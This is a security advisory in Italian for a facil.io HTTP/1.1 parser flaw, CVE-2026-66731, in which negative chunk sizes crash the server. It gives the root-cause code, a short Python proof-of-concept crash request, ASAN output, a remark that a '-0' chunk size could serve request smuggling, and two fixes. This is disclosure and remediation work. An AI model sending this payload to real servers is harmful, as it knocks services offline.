
Avviso di sicurezza per CVE-2026-66731 con analisi della causa principale, exploit PoC e suggerimenti di correzione per il bug del parser di codifica chunked HTTP/1.1 di facil.io.
ID CVE assegnato: CVE-2026-66731
Prodotto: facil.io
Versioni interessate: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); introdotta quando il parser HTTP/1.1 0.8.x è stato riportato in 0.7.5 - non presente in 0.6.x o 0.7.0–0.7.3
Componente: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Validazione impropria dell'input), CWE-682 (Calcolo errato), CWE-125 (Lettura fuori dai limiti)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Ricercatore: Theodosis Paidakis
Il parser della codifica di trasferimento a chunk accetta un segno meno iniziale nei valori di dimensione dei chunk. http1_atol16 restituisce un long long negativo per input come -FFFFFF. Il parser memorizza 0 - chunk_len in content_length come valore sentinella per "dentro un chunk". Quando chunk_len è negativo, quella sottrazione produce un grande valore positivo, corrompendo la macchina a stati. Un successivo calcolo del puntatore sposta quindi il puntatore di lettura milioni di byte prima del buffer di input, in memoria non mappata, causando il crash del processo. È sufficiente una singola richiesta POST non autenticata.
Passo 1: http1_atol16 accetta un segno meno iniziale
lib/facil/http/parsers/http1_parser.h, righe 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
L'input -FFFFFF\r\n produce chunk_len = -16777215LL. La RFC 7230, sezione 4.1, specifica le dimensioni dei chunk come interi esadecimali non negativi. Un segno meno iniziale non è valido.
Passo 2: Corruzione della macchina a stati
lib/facil/http/parsers/http1_parser.h, righe 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
Il parser usa un content_length negativo come sentinella che significa "lettura corrente del corpo del chunk". Con un content_length positivo di +16777215, la macchina a stati pensa di leggere un corpo normale (non chunked) di 16 MB.
Passo 3: Il puntatore arretra in memoria non mappata
All'iterazione successiva, il parser calcola:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
La lettura da quell'indirizzo genera un fault.
Avvia il server, quindi esegui:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
Output ASAN (confermato):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
Effetto in base alla dimensione del chunk inviata:
Nota: il caso -0 (0 - 0 = 0) raggiunge il ramo "corpo chunked completato" e il server sopravvive, ma accetta la richiesta come se avesse un corpo vuoto indipendentemente da qualsiasi dato successivo. Questo può funzionare come una primitiva di request smuggling in implementazioni proxy in cui il front end analizza la codifica chunked in modo diverso.
Una singola richiesta non autenticata con Transfer-Encoding: chunked e una dimensione chunk negativa causa il crash del server. Qualsiasi applicazione che accetta HTTP/1.1 è interessata; la codifica chunked è una funzionalità di protocollo fondamentale e non richiede alcuna configurazione a livello applicativo.
Entrambi gli approcci sono sufficienti. Si preferisce la Correzione 1.
Correzione 1: rifiuta il segno meno iniziale in http1_atol16
lib/facil/http/parsers/http1_parser.h, riga 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Correzione 2: valida chunk_len prima dell'uso
lib/facil/http/parsers/http1_parser.h, riga 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
Il commit 53caca31 ("Fix atol16 to fix chunked length calculation", dic 2019) ha corretto la condizione del ciclo di rilevamento dell'overflow ma ha mantenuto il codice di gestione del segno. Il commit fe847cdf ("fix HTTP/1.1 parser against smuggling attack", mag 2020) ha affrontato i conflitti TE/CL (presenza contemporanea di Transfer-Encoding e Content-Length). Nessuna delle due copre le dimensioni chunk negative.
| Dimensione chunk | content_length dopo la corruzione | Esito |
|---|
-0 | 0 | Corpo ignorato silenziosamente; il server sopravvive |
-1 | +1 | Puntatore 1 byte prima dell'inizio |
-FFFFFF | +16777215 | Puntatore 16 MB prima dell'inizio; crash |
-7FFFFFFF | +2147483647 | Puntatore 2 GB prima dell'inizio; crash |